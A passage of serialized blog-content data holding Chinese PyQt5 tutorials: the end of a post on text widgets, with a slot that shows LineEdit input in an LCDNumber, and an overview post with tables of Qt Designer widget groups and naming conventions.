\n",{"type":18,"tag":297,"props":58765,"children":58766},{"class":299,"line":657},[58767],{"type":18,"tag":297,"props":58768,"children":58769},{},[58770],{"type":24,"value":58771},"def setvalue(self):  \n",{"type":18,"tag":297,"props":58773,"children":58774},{"class":299,"line":662},[58775],{"type":18,"tag":297,"props":58776,"children":58777},{},[58778],{"type":24,"value":58779},"    self.lcdNumber.setProperty(\"value\", self.lineEdit.text())\n",{"type":18,"tag":34,"props":58781,"children":58782},{},[58783,58784,58789,58790,58796,58797,58803],{"type":24,"value":55361},{"type":18,"tag":74,"props":58785,"children":58787},{"className":58786},[],[58788],{"type":24,"value":55485},{"type":24,"value":43973},{"type":18,"tag":74,"props":58791,"children":58793},{"className":58792},[],[58794],{"type":24,"value":58795},"editingFinished信号",{"type":24,"value":54349},{"type":18,"tag":74,"props":58798,"children":58800},{"className":58799},[],[58801],{"type":24,"value":58802},"setvalue()槽函数",{"type":24,"value":58804},"相关联，以便在文本框编辑结束后执行槽函数中定义的操作，代码如下：",{"type":18,"tag":287,"props":58806,"children":58808},{"className":28710,"code":58807,"language":28712,"meta":8,"style":8},"# 文本框编辑结束时，发射editingFinished信号，与自定义槽函数关联  \nself.lineEdit.editingFinished.connect(self.setvalue)\n",[58809],{"type":18,"tag":74,"props":58810,"children":58811},{"__ignoreMap":8},[58812,58820],{"type":18,"tag":297,"props":58813,"children":58814},{"class":299,"line":300},[58815],{"type":18,"tag":297,"props":58816,"children":58817},{},[58818],{"type":24,"value":58819},"# 文本框编辑结束时，发射editingFinished信号，与自定义槽函数关联  \n",{"type":18,"tag":297,"props":58821,"children":58822},{"class":299,"line":657},[58823],{"type":18,"tag":297,"props":58824,"children":58825},{},[58826],{"type":24,"value":58827},"self.lineEdit.editingFinished.connect(self.setvalue)\n",{"type":18,"tag":34,"props":58829,"children":58830},{},[58831,58832,58837,58839,58844],{"type":24,"value":48801},{"type":18,"tag":74,"props":58833,"children":58835},{"className":58834},[],[58836],{"type":24,"value":42560},{"type":24,"value":58838},"文件添加程序入口，然后运行程序，在文本框中输入数字，按下",{"type":18,"tag":74,"props":58840,"children":58842},{"className":58841},[],[58843],{"type":24,"value":7262},{"type":24,"value":58845},"键，即可将输入的数字显示在液晶显示控件中；但当文本框中输入的数字大于7位时，则会在液晶显示控件中以科学计数法的形式进行显示，如图所示。",{"type":18,"tag":210,"props":58847,"children":58848},{},[58849],{"type":18,"tag":158,"props":58850,"children":58851},{},[58852],{"type":24,"value":58853},"数字的正常显示",{"type":18,"tag":34,"props":58855,"children":58856},{},[58857],{"type":18,"tag":54,"props":58858,"children":58861},{"alt":58859,"src":58860},"Pasted image 20250828112926","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250828112926.png",[],{"type":18,"tag":210,"props":58863,"children":58864},{},[58865],{"type":18,"tag":158,"props":58866,"children":58867},{},[58868],{"type":24,"value":58869},"大于7位时以科学计数法形式显示",{"type":18,"tag":34,"props":58871,"children":58872},{},[58873],{"type":18,"tag":54,"props":58874,"children":58877},{"alt":58875,"src":58876},"Pasted image 20250828113011","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250828113011.png",[],{"type":18,"tag":651,"props":58879,"children":58880},{},[58881],{"type":24,"value":655},{"title":8,"searchDepth":657,"depth":657,"links":58883},[58884,58886,58888,58890,58892,58894],{"id":55517,"depth":657,"text":58885},"1  Label：标签控件",{"id":56483,"depth":657,"text":58887},"2  LineEdit：单行文本框",{"id":57193,"depth":657,"text":58889},"3  TextEdit：多行文本框",{"id":57498,"depth":657,"text":58891},"4  SpinBox：整数数字选择控件",{"id":57990,"depth":657,"text":58893},"5  DoubleSpinBox：小数数字选择控件",{"id":58325,"depth":657,"text":58895},"6  LCDNumber：液晶数字显示控件","content:blog:2025-08-23-pyqt5-文本类控件.md","blog\u002F2025-08-23-pyqt5-文本类控件.md","blog\u002F2025-08-23-pyqt5-文本类控件",{"_path":58900,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":58901,"description":58902,"date":58903,"tags":58904,"body":58905,"_type":672,"_id":60104,"_source":674,"_file":60105,"_stem":60106,"_extension":677},"\u002Fblog\u002F2025-08-22-pyqt5","PyQt5-常用控件概述","PyQt5常用控件概述，全面了解各类控件的分类、功能与应用场景。","2025-08-22",[28616,41429,41430],{"type":15,"children":58906,"toc":60100},[58907,58940,58946,58949,58954,59032,59079,59173,59257,59315,59450,59669,59803,59809,59812,59817,60088],{"type":18,"tag":34,"props":58908,"children":58909},{},[58910,58912,58918,58920,58925,58926,58932,58933,58938],{"type":24,"value":58911},"控件是用户可以用来输入或操作数据的对象，也就相当于汽车中的方向盘、油门、刹车、离合器等，它们都是对汽车进行操作的控件。在PyQt5中，控件的基类是",{"type":18,"tag":74,"props":58913,"children":58915},{"className":58914},[],[58916],{"type":24,"value":58917},"QFrame",{"type":24,"value":58919},"类，而",{"type":18,"tag":74,"props":58921,"children":58923},{"className":58922},[],[58924],{"type":24,"value":58917},{"type":24,"value":43044},{"type":18,"tag":74,"props":58927,"children":58929},{"className":58928},[],[58930],{"type":24,"value":58931},"QWidget",{"type":24,"value":55546},{"type":18,"tag":74,"props":58934,"children":58936},{"className":58935},[],[58937],{"type":24,"value":58931},{"type":24,"value":58939},"类是所有用户界面对象的基类。",{"type":18,"tag":19,"props":58941,"children":58943},{"id":58942},"_1认识控件",[58944],{"type":24,"value":58945},"1  认识控件",{"type":18,"tag":121,"props":58947,"children":58948},{},[],{"type":18,"tag":34,"props":58950,"children":58951},{},[58952],{"type":24,"value":58953},"Qt Designer设计器中默认对控件进行了分组，表中列出了控件的默认分组及其包含的控件。",{"type":18,"tag":431,"props":58955,"children":58956},{},[58957,58978],{"type":18,"tag":435,"props":58958,"children":58959},{},[58960],{"type":18,"tag":439,"props":58961,"children":58962},{},[58963,58971],{"type":18,"tag":443,"props":58964,"children":58965},{"align":3465},[58966],{"type":18,"tag":105,"props":58967,"children":58968},{},[58969],{"type":24,"value":58970},"Layouts布局管理控件",{"type":18,"tag":443,"props":58972,"children":58973},{"align":3465},[58974],{"type":18,"tag":105,"props":58975,"children":58976},{},[58977],{"type":24,"value":41526},{"type":18,"tag":459,"props":58979,"children":58980},{},[58981,58994,59007,59019],{"type":18,"tag":439,"props":58982,"children":58983},{},[58984,58989],{"type":18,"tag":466,"props":58985,"children":58986},{"align":3465},[58987],{"type":24,"value":58988},"VerticalLayout",{"type":18,"tag":466,"props":58990,"children":58991},{"align":3465},[58992],{"type":24,"value":58993},"垂直布局",{"type":18,"tag":439,"props":58995,"children":58996},{},[58997,59002],{"type":18,"tag":466,"props":58998,"children":58999},{"align":3465},[59000],{"type":24,"value":59001},"GridLayout",{"type":18,"tag":466,"props":59003,"children":59004},{"align":3465},[59005],{"type":24,"value":59006},"网格布局",{"type":18,"tag":439,"props":59008,"children":59009},{},[59010,59014],{"type":18,"tag":466,"props":59011,"children":59012},{"align":3465},[59013],{"type":24,"value":46713},{"type":18,"tag":466,"props":59015,"children":59016},{"align":3465},[59017],{"type":24,"value":59018},"水平布局",{"type":18,"tag":439,"props":59020,"children":59021},{},[59022,59027],{"type":18,"tag":466,"props":59023,"children":59024},{"align":3465},[59025],{"type":24,"value":59026},"FormLayout",{"type":18,"tag":466,"props":59028,"children":59029},{"align":3465},[59030],{"type":24,"value":59031},"表单布局",{"type":18,"tag":431,"props":59033,"children":59034},{},[59035,59050],{"type":18,"tag":435,"props":59036,"children":59037},{},[59038],{"type":18,"tag":439,"props":59039,"children":59040},{},[59041,59046],{"type":18,"tag":443,"props":59042,"children":59043},{"align":3465},[59044],{"type":24,"value":59045},"Spacers弹簧控件",{"type":18,"tag":443,"props":59047,"children":59048},{"align":5772},[59049],{"type":24,"value":843},{"type":18,"tag":459,"props":59051,"children":59052},{},[59053,59066],{"type":18,"tag":439,"props":59054,"children":59055},{},[59056,59061],{"type":18,"tag":466,"props":59057,"children":59058},{"align":3465},[59059],{"type":24,"value":59060},"HorizontalSpacer",{"type":18,"tag":466,"props":59062,"children":59063},{"align":5772},[59064],{"type":24,"value":59065},"水平弹簧",{"type":18,"tag":439,"props":59067,"children":59068},{},[59069,59074],{"type":18,"tag":466,"props":59070,"children":59071},{"align":3465},[59072],{"type":24,"value":59073},"VerticalSpacer",{"type":18,"tag":466,"props":59075,"children":59076},{"align":5772},[59077],{"type":24,"value":59078},"垂直弹簧",{"type":18,"tag":431,"props":59080,"children":59081},{},[59082,59097],{"type":18,"tag":435,"props":59083,"children":59084},{},[59085],{"type":18,"tag":439,"props":59086,"children":59087},{},[59088,59093],{"type":18,"tag":443,"props":59089,"children":59090},{"align":3465},[59091],{"type":24,"value":59092},"Buttons按钮类控件",{"type":18,"tag":443,"props":59094,"children":59095},{"align":3465},[59096],{"type":24,"value":843},{"type":18,"tag":459,"props":59098,"children":59099},{},[59100,59112,59124,59136,59148,59160],{"type":18,"tag":439,"props":59101,"children":59102},{},[59103,59107],{"type":18,"tag":466,"props":59104,"children":59105},{"align":3465},[59106],{"type":24,"value":44683},{"type":18,"tag":466,"props":59108,"children":59109},{"align":3465},[59110],{"type":24,"value":59111},"按钮",{"type":18,"tag":439,"props":59113,"children":59114},{},[59115,59119],{"type":18,"tag":466,"props":59116,"children":59117},{"align":3465},[59118],{"type":24,"value":50092},{"type":18,"tag":466,"props":59120,"children":59121},{"align":3465},[59122],{"type":24,"value":59123},"工具按钮",{"type":18,"tag":439,"props":59125,"children":59126},{},[59127,59131],{"type":18,"tag":466,"props":59128,"children":59129},{"align":3465},[59130],{"type":24,"value":54126},{"type":18,"tag":466,"props":59132,"children":59133},{"align":3465},[59134],{"type":24,"value":59135},"单选按钮",{"type":18,"tag":439,"props":59137,"children":59138},{},[59139,59143],{"type":18,"tag":466,"props":59140,"children":59141},{"align":3465},[59142],{"type":24,"value":55002},{"type":18,"tag":466,"props":59144,"children":59145},{"align":3465},[59146],{"type":24,"value":59147},"复选框",{"type":18,"tag":439,"props":59149,"children":59150},{},[59151,59155],{"type":18,"tag":466,"props":59152,"children":59153},{"align":3465},[59154],{"type":24,"value":52809},{"type":18,"tag":466,"props":59156,"children":59157},{"align":3465},[59158],{"type":24,"value":59159},"命令链接按钮",{"type":18,"tag":439,"props":59161,"children":59162},{},[59163,59168],{"type":18,"tag":466,"props":59164,"children":59165},{"align":3465},[59166],{"type":24,"value":59167},"DialogButtonBox",{"type":18,"tag":466,"props":59169,"children":59170},{"align":3465},[59171],{"type":24,"value":59172},"对话框按钮盒",{"type":18,"tag":431,"props":59174,"children":59175},{},[59176,59191],{"type":18,"tag":435,"props":59177,"children":59178},{},[59179],{"type":18,"tag":439,"props":59180,"children":59181},{},[59182,59187],{"type":18,"tag":443,"props":59183,"children":59184},{"align":3465},[59185],{"type":24,"value":59186},"Item Views(Model-Based)项目视图控件",{"type":18,"tag":443,"props":59188,"children":59189},{"align":5772},[59190],{"type":24,"value":843},{"type":18,"tag":459,"props":59192,"children":59193},{},[59194,59206,59218,59231,59244],{"type":18,"tag":439,"props":59195,"children":59196},{},[59197,59201],{"type":18,"tag":466,"props":59198,"children":59199},{"align":3465},[59200],{"type":24,"value":52036},{"type":18,"tag":466,"props":59202,"children":59203},{"align":5772},[59204],{"type":24,"value":59205},"列表视图",{"type":18,"tag":439,"props":59207,"children":59208},{},[59209,59213],{"type":18,"tag":466,"props":59210,"children":59211},{"align":3465},[59212],{"type":24,"value":41448},{"type":18,"tag":466,"props":59214,"children":59215},{"align":5772},[59216],{"type":24,"value":59217},"树视图",{"type":18,"tag":439,"props":59219,"children":59220},{},[59221,59226],{"type":18,"tag":466,"props":59222,"children":59223},{"align":3465},[59224],{"type":24,"value":59225},"TableView",{"type":18,"tag":466,"props":59227,"children":59228},{"align":5772},[59229],{"type":24,"value":59230},"表格视图",{"type":18,"tag":439,"props":59232,"children":59233},{},[59234,59239],{"type":18,"tag":466,"props":59235,"children":59236},{"align":3465},[59237],{"type":24,"value":59238},"ColumnView",{"type":18,"tag":466,"props":59240,"children":59241},{"align":5772},[59242],{"type":24,"value":59243},"列视图",{"type":18,"tag":439,"props":59245,"children":59246},{},[59247,59252],{"type":18,"tag":466,"props":59248,"children":59249},{"align":3465},[59250],{"type":24,"value":59251},"UndoView",{"type":18,"tag":466,"props":59253,"children":59254},{"align":5772},[59255],{"type":24,"value":59256},"撤销命令显示视图",{"type":18,"tag":431,"props":59258,"children":59259},{},[59260,59275],{"type":18,"tag":435,"props":59261,"children":59262},{},[59263],{"type":18,"tag":439,"props":59264,"children":59265},{},[59266,59271],{"type":18,"tag":443,"props":59267,"children":59268},{"align":3465},[59269],{"type":24,"value":59270},"Item Widgets(Item-Based)项目控件",{"type":18,"tag":443,"props":59272,"children":59273},{"align":5772},[59274],{"type":24,"value":843},{"type":18,"tag":459,"props":59276,"children":59277},{},[59278,59290,59302],{"type":18,"tag":439,"props":59279,"children":59280},{},[59281,59285],{"type":18,"tag":466,"props":59282,"children":59283},{"align":3465},[59284],{"type":24,"value":51170},{"type":18,"tag":466,"props":59286,"children":59287},{"align":5772},[59288],{"type":24,"value":59289},"列表控件",{"type":18,"tag":439,"props":59291,"children":59292},{},[59293,59297],{"type":18,"tag":466,"props":59294,"children":59295},{"align":3465},[59296],{"type":24,"value":41455},{"type":18,"tag":466,"props":59298,"children":59299},{"align":5772},[59300],{"type":24,"value":59301},"树控件",{"type":18,"tag":439,"props":59303,"children":59304},{},[59305,59310],{"type":18,"tag":466,"props":59306,"children":59307},{"align":3465},[59308],{"type":24,"value":59309},"TableWidget",{"type":18,"tag":466,"props":59311,"children":59312},{"align":5772},[59313],{"type":24,"value":59314},"表格控件",{"type":18,"tag":431,"props":59316,"children":59317},{},[59318,59333],{"type":18,"tag":435,"props":59319,"children":59320},{},[59321],{"type":18,"tag":439,"props":59322,"children":59323},{},[59324,59329],{"type":18,"tag":443,"props":59325,"children":59326},{"align":3465},[59327],{"type":24,"value":59328},"Containers容器控件",{"type":18,"tag":443,"props":59330,"children":59331},{"align":5772},[59332],{"type":24,"value":843},{"type":18,"tag":459,"props":59334,"children":59335},{},[59336,59348,59361,59373,59385,59398,59411,59424,59437],{"type":18,"tag":439,"props":59337,"children":59338},{},[59339,59343],{"type":18,"tag":466,"props":59340,"children":59341},{"align":3465},[59342],{"type":24,"value":49001},{"type":18,"tag":466,"props":59344,"children":59345},{"align":5772},[59346],{"type":24,"value":59347},"分组框",{"type":18,"tag":439,"props":59349,"children":59350},{},[59351,59356],{"type":18,"tag":466,"props":59352,"children":59353},{"align":3465},[59354],{"type":24,"value":59355},"ScrollArea",{"type":18,"tag":466,"props":59357,"children":59358},{"align":5772},[59359],{"type":24,"value":59360},"滚动区域",{"type":18,"tag":439,"props":59362,"children":59363},{},[59364,59368],{"type":18,"tag":466,"props":59365,"children":59366},{"align":3465},[59367],{"type":24,"value":48988},{"type":18,"tag":466,"props":59369,"children":59370},{"align":5772},[59371],{"type":24,"value":59372},"工具箱",{"type":18,"tag":439,"props":59374,"children":59375},{},[59376,59380],{"type":18,"tag":466,"props":59377,"children":59378},{"align":3465},[59379],{"type":24,"value":48980},{"type":18,"tag":466,"props":59381,"children":59382},{"align":5772},[59383],{"type":24,"value":59384},"选项卡",{"type":18,"tag":439,"props":59386,"children":59387},{},[59388,59393],{"type":18,"tag":466,"props":59389,"children":59390},{"align":3465},[59391],{"type":24,"value":59392},"StackedWidget",{"type":18,"tag":466,"props":59394,"children":59395},{"align":5772},[59396],{"type":24,"value":59397},"堆栈窗口",{"type":18,"tag":439,"props":59399,"children":59400},{},[59401,59406],{"type":18,"tag":466,"props":59402,"children":59403},{"align":3465},[59404],{"type":24,"value":59405},"Frame",{"type":18,"tag":466,"props":59407,"children":59408},{"align":5772},[59409],{"type":24,"value":59410},"帧",{"type":18,"tag":439,"props":59412,"children":59413},{},[59414,59419],{"type":18,"tag":466,"props":59415,"children":59416},{"align":3465},[59417],{"type":24,"value":59418},"Widget",{"type":18,"tag":466,"props":59420,"children":59421},{"align":5772},[59422],{"type":24,"value":59423},"小部件",{"type":18,"tag":439,"props":59425,"children":59426},{},[59427,59432],{"type":18,"tag":466,"props":59428,"children":59429},{"align":3465},[59430],{"type":24,"value":59431},"MDIArea",{"type":18,"tag":466,"props":59433,"children":59434},{"align":5772},[59435],{"type":24,"value":59436},"MDI区域",{"type":18,"tag":439,"props":59438,"children":59439},{},[59440,59445],{"type":18,"tag":466,"props":59441,"children":59442},{"align":3465},[59443],{"type":24,"value":59444},"DockWidget",{"type":18,"tag":466,"props":59446,"children":59447},{"align":5772},[59448],{"type":24,"value":59449},"停靠窗口",{"type":18,"tag":431,"props":59451,"children":59452},{},[59453,59468],{"type":18,"tag":435,"props":59454,"children":59455},{},[59456],{"type":18,"tag":439,"props":59457,"children":59458},{},[59459,59464],{"type":18,"tag":443,"props":59460,"children":59461},{"align":3465},[59462],{"type":24,"value":59463},"Input Widgets 输入控件",{"type":18,"tag":443,"props":59465,"children":59466},{"align":3465},[59467],{"type":24,"value":843},{"type":18,"tag":459,"props":59469,"children":59470},{},[59471,59483,59495,59508,59520,59532,59545,59558,59570,59582,59594,59606,59618,59631,59644,59656],{"type":18,"tag":439,"props":59472,"children":59473},{},[59474,59478],{"type":18,"tag":466,"props":59475,"children":59476},{"align":3465},[59477],{"type":24,"value":51156},{"type":18,"tag":466,"props":59479,"children":59480},{"align":3465},[59481],{"type":24,"value":59482},"下拉组合框",{"type":18,"tag":439,"props":59484,"children":59485},{},[59486,59490],{"type":18,"tag":466,"props":59487,"children":59488},{"align":3465},[59489],{"type":24,"value":55485},{"type":18,"tag":466,"props":59491,"children":59492},{"align":3465},[59493],{"type":24,"value":59494},"单行文本框",{"type":18,"tag":439,"props":59496,"children":59497},{},[59498,59503],{"type":18,"tag":466,"props":59499,"children":59500},{"align":3465},[59501],{"type":24,"value":59502},"PlainTextEdit",{"type":18,"tag":466,"props":59504,"children":59505},{"align":3465},[59506],{"type":24,"value":59507},"纯文本编辑框",{"type":18,"tag":439,"props":59509,"children":59510},{},[59511,59515],{"type":18,"tag":466,"props":59512,"children":59513},{"align":3465},[59514],{"type":24,"value":55506},{"type":18,"tag":466,"props":59516,"children":59517},{"align":3465},[59518],{"type":24,"value":59519},"小数选择控件",{"type":18,"tag":439,"props":59521,"children":59522},{},[59523,59527],{"type":18,"tag":466,"props":59524,"children":59525},{"align":3465},[59526],{"type":24,"value":47431},{"type":18,"tag":466,"props":59528,"children":59529},{"align":3465},[59530],{"type":24,"value":59531},"日期编辑框",{"type":18,"tag":439,"props":59533,"children":59534},{},[59535,59540],{"type":18,"tag":466,"props":59536,"children":59537},{"align":3465},[59538],{"type":24,"value":59539},"Dial",{"type":18,"tag":466,"props":59541,"children":59542},{"align":3465},[59543],{"type":24,"value":59544},"旋钮",{"type":18,"tag":439,"props":59546,"children":59547},{},[59548,59553],{"type":18,"tag":466,"props":59549,"children":59550},{"align":3465},[59551],{"type":24,"value":59552},"VerticalScrollBar",{"type":18,"tag":466,"props":59554,"children":59555},{"align":3465},[59556],{"type":24,"value":59557},"垂直滚动条",{"type":18,"tag":439,"props":59559,"children":59560},{},[59561,59565],{"type":18,"tag":466,"props":59562,"children":59563},{"align":3465},[59564],{"type":24,"value":46344},{"type":18,"tag":466,"props":59566,"children":59567},{"align":3465},[59568],{"type":24,"value":59569},"垂直滑块",{"type":18,"tag":439,"props":59571,"children":59572},{},[59573,59577],{"type":18,"tag":466,"props":59574,"children":59575},{"align":3465},[59576],{"type":24,"value":51163},{"type":18,"tag":466,"props":59578,"children":59579},{"align":3465},[59580],{"type":24,"value":59581},"字体组合框",{"type":18,"tag":439,"props":59583,"children":59584},{},[59585,59589],{"type":18,"tag":466,"props":59586,"children":59587},{"align":3465},[59588],{"type":24,"value":55492},{"type":18,"tag":466,"props":59590,"children":59591},{"align":3465},[59592],{"type":24,"value":59593},"多行文本框",{"type":18,"tag":439,"props":59595,"children":59596},{},[59597,59601],{"type":18,"tag":466,"props":59598,"children":59599},{"align":3465},[59600],{"type":24,"value":55499},{"type":18,"tag":466,"props":59602,"children":59603},{"align":3465},[59604],{"type":24,"value":59605},"数字选择控件",{"type":18,"tag":439,"props":59607,"children":59608},{},[59609,59613],{"type":18,"tag":466,"props":59610,"children":59611},{"align":3465},[59612],{"type":24,"value":47438},{"type":18,"tag":466,"props":59614,"children":59615},{"align":3465},[59616],{"type":24,"value":59617},"时间编辑框",{"type":18,"tag":439,"props":59619,"children":59620},{},[59621,59626],{"type":18,"tag":466,"props":59622,"children":59623},{"align":3465},[59624],{"type":24,"value":59625},"DateTimeEdit",{"type":18,"tag":466,"props":59627,"children":59628},{"align":3465},[59629],{"type":24,"value":59630},"日期时间编辑框",{"type":18,"tag":439,"props":59632,"children":59633},{},[59634,59639],{"type":18,"tag":466,"props":59635,"children":59636},{"align":3465},[59637],{"type":24,"value":59638},"HorizontalScrollBar",{"type":18,"tag":466,"props":59640,"children":59641},{"align":3465},[59642],{"type":24,"value":59643},"水平滚动条",{"type":18,"tag":439,"props":59645,"children":59646},{},[59647,59651],{"type":18,"tag":466,"props":59648,"children":59649},{"align":3465},[59650],{"type":24,"value":46336},{"type":18,"tag":466,"props":59652,"children":59653},{"align":3465},[59654],{"type":24,"value":59655},"水平滑块",{"type":18,"tag":439,"props":59657,"children":59658},{},[59659,59664],{"type":18,"tag":466,"props":59660,"children":59661},{"align":3465},[59662],{"type":24,"value":59663},"KeySequenceEdit",{"type":18,"tag":466,"props":59665,"children":59666},{"align":3465},[59667],{"type":24,"value":59668},"按键编辑框",{"type":18,"tag":431,"props":59670,"children":59671},{},[59672,59687],{"type":18,"tag":435,"props":59673,"children":59674},{},[59675],{"type":18,"tag":439,"props":59676,"children":59677},{},[59678,59683],{"type":18,"tag":443,"props":59679,"children":59680},{"align":3465},[59681],{"type":24,"value":59682},"Display Widgets 显示控件",{"type":18,"tag":443,"props":59684,"children":59685},{"align":3465},[59686],{"type":24,"value":843},{"type":18,"tag":459,"props":59688,"children":59689},{},[59690,59702,59715,59727,59740,59753,59766,59778,59790],{"type":18,"tag":439,"props":59691,"children":59692},{},[59693,59697],{"type":18,"tag":466,"props":59694,"children":59695},{"align":3465},[59696],{"type":24,"value":45647},{"type":18,"tag":466,"props":59698,"children":59699},{"align":3465},[59700],{"type":24,"value":59701},"标签控件",{"type":18,"tag":439,"props":59703,"children":59704},{},[59705,59710],{"type":18,"tag":466,"props":59706,"children":59707},{"align":3465},[59708],{"type":24,"value":59709},"GraphicsView",{"type":18,"tag":466,"props":59711,"children":59712},{"align":3465},[59713],{"type":24,"value":59714},"图形视图",{"type":18,"tag":439,"props":59716,"children":59717},{},[59718,59722],{"type":18,"tag":466,"props":59719,"children":59720},{"align":3465},[59721],{"type":24,"value":55513},{"type":18,"tag":466,"props":59723,"children":59724},{"align":3465},[59725],{"type":24,"value":59726},"液晶数字显示",{"type":18,"tag":439,"props":59728,"children":59729},{},[59730,59735],{"type":18,"tag":466,"props":59731,"children":59732},{"align":3465},[59733],{"type":24,"value":59734},"HorizontalLine",{"type":18,"tag":466,"props":59736,"children":59737},{"align":3465},[59738],{"type":24,"value":59739},"水平线",{"type":18,"tag":439,"props":59741,"children":59742},{},[59743,59748],{"type":18,"tag":466,"props":59744,"children":59745},{"align":3465},[59746],{"type":24,"value":59747},"OpenGLWidget",{"type":18,"tag":466,"props":59749,"children":59750},{"align":3465},[59751],{"type":24,"value":59752},"开放式图形库工具",{"type":18,"tag":439,"props":59754,"children":59755},{},[59756,59761],{"type":18,"tag":466,"props":59757,"children":59758},{"align":3465},[59759],{"type":24,"value":59760},"TextBrowser",{"type":18,"tag":466,"props":59762,"children":59763},{"align":3465},[59764],{"type":24,"value":59765},"文本浏览器",{"type":18,"tag":439,"props":59767,"children":59768},{},[59769,59773],{"type":18,"tag":466,"props":59770,"children":59771},{"align":3465},[59772],{"type":24,"value":47445},{"type":18,"tag":466,"props":59774,"children":59775},{"align":3465},[59776],{"type":24,"value":59777},"日期控件",{"type":18,"tag":439,"props":59779,"children":59780},{},[59781,59785],{"type":18,"tag":466,"props":59782,"children":59783},{"align":3465},[59784],{"type":24,"value":44182},{"type":18,"tag":466,"props":59786,"children":59787},{"align":3465},[59788],{"type":24,"value":59789},"进度条",{"type":18,"tag":439,"props":59791,"children":59792},{},[59793,59798],{"type":18,"tag":466,"props":59794,"children":59795},{"align":3465},[59796],{"type":24,"value":59797},"VerticalLine",{"type":18,"tag":466,"props":59799,"children":59800},{"align":3465},[59801],{"type":24,"value":59802},"垂直线",{"type":18,"tag":19,"props":59804,"children":59806},{"id":59805},"_2控件的命名规范",[59807],{"type":24,"value":59808},"2  控件的命名规范",{"type":18,"tag":121,"props":59810,"children":59811},{},[],{"type":18,"tag":34,"props":59813,"children":59814},{},[59815],{"type":24,"value":59816},"在使用控件的过程中，可以通过控件默认的名称调用。如果自定义控件名称，建议按照表中的命名规范对控件进行命名。",{"type":18,"tag":431,"props":59818,"children":59819},{},[59820,59856],{"type":18,"tag":435,"props":59821,"children":59822},{},[59823],{"type":18,"tag":439,"props":59824,"children":59825},{},[59826,59834,59842,59849],{"type":18,"tag":443,"props":59827,"children":59828},{},[59829],{"type":18,"tag":105,"props":59830,"children":59831},{},[59832],{"type":24,"value":59833},"控 件 名 称",{"type":18,"tag":443,"props":59835,"children":59836},{},[59837],{"type":18,"tag":105,"props":59838,"children":59839},{},[59840],{"type":24,"value":59841},"命    名",{"type":18,"tag":443,"props":59843,"children":59844},{},[59845],{"type":18,"tag":105,"props":59846,"children":59847},{},[59848],{"type":24,"value":59833},{"type":18,"tag":443,"props":59850,"children":59851},{},[59852],{"type":18,"tag":105,"props":59853,"children":59854},{},[59855],{"type":24,"value":59841},{"type":18,"tag":459,"props":59857,"children":59858},{},[59859,59880,59901,59922,59943,59963,59984,60005,60026,60046,60067],{"type":18,"tag":439,"props":59860,"children":59861},{},[59862,59866,59871,59875],{"type":18,"tag":466,"props":59863,"children":59864},{},[59865],{"type":24,"value":45647},{"type":18,"tag":466,"props":59867,"children":59868},{},[59869],{"type":24,"value":59870},"lab",{"type":18,"tag":466,"props":59872,"children":59873},{},[59874],{"type":24,"value":51170},{"type":18,"tag":466,"props":59876,"children":59877},{},[59878],{"type":24,"value":59879},"lw",{"type":18,"tag":439,"props":59881,"children":59882},{},[59883,59887,59892,59896],{"type":18,"tag":466,"props":59884,"children":59885},{},[59886],{"type":24,"value":55485},{"type":18,"tag":466,"props":59888,"children":59889},{},[59890],{"type":24,"value":59891},"ledit",{"type":18,"tag":466,"props":59893,"children":59894},{},[59895],{"type":24,"value":41448},{"type":18,"tag":466,"props":59897,"children":59898},{},[59899],{"type":24,"value":59900},"tv",{"type":18,"tag":439,"props":59902,"children":59903},{},[59904,59908,59913,59917],{"type":18,"tag":466,"props":59905,"children":59906},{},[59907],{"type":24,"value":55492},{"type":18,"tag":466,"props":59909,"children":59910},{},[59911],{"type":24,"value":59912},"tedit",{"type":18,"tag":466,"props":59914,"children":59915},{},[59916],{"type":24,"value":41455},{"type":18,"tag":466,"props":59918,"children":59919},{},[59920],{"type":24,"value":59921},"tw",{"type":18,"tag":439,"props":59923,"children":59924},{},[59925,59929,59934,59938],{"type":18,"tag":466,"props":59926,"children":59927},{},[59928],{"type":24,"value":59502},{"type":18,"tag":466,"props":59930,"children":59931},{},[59932],{"type":24,"value":59933},"pedit",{"type":18,"tag":466,"props":59935,"children":59936},{},[59937],{"type":24,"value":59225},{"type":18,"tag":466,"props":59939,"children":59940},{},[59941],{"type":24,"value":59942},"tbv",{"type":18,"tag":439,"props":59944,"children":59945},{},[59946,59950,59954,59958],{"type":18,"tag":466,"props":59947,"children":59948},{},[59949],{"type":24,"value":59760},{"type":18,"tag":466,"props":59951,"children":59952},{},[59953],{"type":24,"value":26753},{"type":18,"tag":466,"props":59955,"children":59956},{},[59957],{"type":24,"value":59309},{"type":18,"tag":466,"props":59959,"children":59960},{},[59961],{"type":24,"value":59962},"tbw",{"type":18,"tag":439,"props":59964,"children":59965},{},[59966,59970,59975,59979],{"type":18,"tag":466,"props":59967,"children":59968},{},[59969],{"type":24,"value":44683},{"type":18,"tag":466,"props":59971,"children":59972},{},[59973],{"type":24,"value":59974},"pbtn",{"type":18,"tag":466,"props":59976,"children":59977},{},[59978],{"type":24,"value":49001},{"type":18,"tag":466,"props":59980,"children":59981},{},[59982],{"type":24,"value":59983},"gbox",{"type":18,"tag":439,"props":59985,"children":59986},{},[59987,59991,59996,60000],{"type":18,"tag":466,"props":59988,"children":59989},{},[59990],{"type":24,"value":50092},{"type":18,"tag":466,"props":59992,"children":59993},{},[59994],{"type":24,"value":59995},"tbtn",{"type":18,"tag":466,"props":59997,"children":59998},{},[59999],{"type":24,"value":55499},{"type":18,"tag":466,"props":60001,"children":60002},{},[60003],{"type":24,"value":60004},"sbox",{"type":18,"tag":439,"props":60006,"children":60007},{},[60008,60012,60017,60021],{"type":18,"tag":466,"props":60009,"children":60010},{},[60011],{"type":24,"value":52809},{"type":18,"tag":466,"props":60013,"children":60014},{},[60015],{"type":24,"value":60016},"linbtn",{"type":18,"tag":466,"props":60018,"children":60019},{},[60020],{"type":24,"value":48980},{"type":18,"tag":466,"props":60022,"children":60023},{},[60024],{"type":24,"value":60025},"tab",{"type":18,"tag":439,"props":60027,"children":60028},{},[60029,60033,60038,60042],{"type":18,"tag":466,"props":60030,"children":60031},{},[60032],{"type":24,"value":54126},{"type":18,"tag":466,"props":60034,"children":60035},{},[60036],{"type":24,"value":60037},"rbtn",{"type":18,"tag":466,"props":60039,"children":60040},{},[60041],{"type":24,"value":47438},{"type":18,"tag":466,"props":60043,"children":60044},{},[60045],{"type":24,"value":39070},{"type":18,"tag":439,"props":60047,"children":60048},{},[60049,60053,